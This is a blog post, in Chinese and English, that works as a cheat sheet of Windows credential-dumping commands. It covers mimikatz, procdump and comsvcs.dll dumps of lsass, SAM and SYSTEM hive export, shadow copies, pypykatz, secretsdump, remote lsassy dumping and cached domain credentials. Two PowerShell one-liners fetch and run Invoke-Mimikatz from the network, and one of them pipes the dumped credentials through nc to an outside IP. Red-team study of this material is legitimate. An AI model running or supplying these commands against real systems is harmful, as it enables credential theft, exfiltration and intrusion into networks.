Hash Dumping
mimikatz
1 | mimikatz.exe "privilege::debug" log "sekurlsa::logonpasswords full" exit |
1 | powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds" | nc -vv 192.168.3.28 1234 |
procdump
1 | procdump.exe -accepteula -ma lsass.exe lsass.dmp |
comsvcs.dll
一个名为comsvcs.dll的DLL ,它在C:\Windows\System32
每次崩溃时都会转储进程内存。该DLL包含一个称为的MiniDumpW
函数,可以通过rundll32.exe
调用,但只能SYSTEM权限执行
1 | tasklist /fi "imagename eq lsass.exe" |
executes mimikatz.xml
https://raw.githubusercontent.com/3gstudent/msbuild-inline-task/master/executes%20mimikatz.xml
1 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\1.xml |
From SAM
注册表导出Hash
1 | reg save HKLM\SYSTEM system.hive |
avdump
1 | tasklist /svc | findstr lsass.exe |
metasploit
1 | use windows/gather/avast_memory_dump |
rdrleakdiag
1 | File Path: C:\Windows\system32\rdrleakdiag.exe |
此命令利用系统二进制rdrleakdiag.exe,该文件将转储其输入中提供了PID(进程ID)的进程的内存。成功执行该命令将导致创建两个文件,分别为minidump_656.dmp和results_656.hlk。[我们将使用扩展名为.dmp的文件]
DiskShadow
卷影复制
1 | wmic shadowcopy call create volume='C:\' |
pypykatz
Pypykatz通过项目Skelsec可以帮助我们解决这个问题。Skelsec用纯python开发了Mimikatz的部分实现,这意味着跨平台。像Mimikatz一样,此工具使我们可以提取lsass转储,并且此工具可以不用将转储文件下载到本地解密,而是直接在目标机器上提取。
远程分析转储文件
1 | pypykatz lsa minidump lsass.dmp |
secretsdump
impacket 中提供了secrestdump
的脚本,该脚本可允许转储存储在注册表中的sam、SECURITY、SYSTEM中的所有凭据。
1 | reg save hklm\sam sam.hive |
sqldumper
1 | tasklist /svc | findstr lsass.exe 查看lsass.exe 的PID号 |
rocdump
1 | procdump64.exe -accepteula -ma lsass.exe lsass.dmp |
Windows Credential Editor (WCE)
https://attack.mitre.org/software/S0005
lsassy
https://github.com/Hackndo/lsassy/wiki/Lsassy-Advanced-Usage
远程dump
1 | lsassy -d de1ay.com -u administrator -H 161cff084477fe596a5db81874498a24 192.168.100.19 -o C:\Users\Administrator\Desktop\test.txt |
对于涉及凭证转储的特定操作,我们还可以在项目授权下使用secretsdump.py脚本。
除了以下类型的哈希外,还存在另一种哈希,即MsCacheV2(也称为域缓存凭据),它在Windows中引入,即使客户端计算机与域断开连接,也可以保持用户与域的连接,用户可以执行身份验证。在以NT AUTHORITY \ SYSTEM特权运行缓存的凭据密钥后,在注册表编辑器(regedit.msc)下运行后,我们可以在注册表位置(HKLM \ SECURITY \ Cache)下看到。
通过使用命令lsadump :: cache,我们可以轻松地转储这些哈希值。
1 | mimikatz # lsadump::cache |
mscash
,或者叫 domain cached credentials、域缓存票据,与用户在成功登录后将缓存的域凭据存储在系统本地,缓存的凭据不会过期,以防止DC无法通信,任然能够登录机器,另外mscash hash 无法用于PTH。
具体存储在系统哪里,保存在注册表中,结构未域凭据+域授权信息,后面就直接用 “凭据” 来代表 “凭据信息” + “授权信息”。
Powershell
1 | powershell IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/ps/Invoke-Mimikatz.ps1'); Invoke-Mimikatz |
lsass.dmp
1 | pypykatz lsa minidump lsass.dmp |
Live kernel dump with PowerShell one-liner
https://twitter.com/0gtweet/status/1273264867382788096
1 | $ss = Get-CimInstance -ClassName MSFT_StorageSubSystem -Namespace Root\Microsoft\Windows\Storage |
https://gallery.technet.microsoft.com/scriptcenter/Get-MemoryDump-c5ab38d8
https://www.volatilityfoundation.org/releases
绕卡巴
https://www.freebuf.com/column/231880.html
Reference
- https://attack.mitre.org/techniques/T1003/001/
- https://baijiahao.baidu.com/s?id=1626592610700813942&wfr=spider&for=pc
- 抓取HASH的10001种方法
- https://iv4n.cc/lsass-dump/
- https://en.hackndo.com/remote-lsass-dump-passwords/
- https://www.pureid.io/dumping-abusing-windows-credentials-part-1/
- https://cloud.tencent.com/developer/article/1656546
- 你并不懂 Mimikatz Part 1 - Wdigest SSP
- 你并不懂 Mimikatz Part 2 - MSCACHE
- https://0x1.gitlab.io/reconnaissance-tools/lsassy/
- Post title:Hash Dumping
- Post author:ssooking
- Create time:2020-01-25 13:19:00
- Post link:https://ssooking.github.io/2020/01/hash-dumping/
- Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.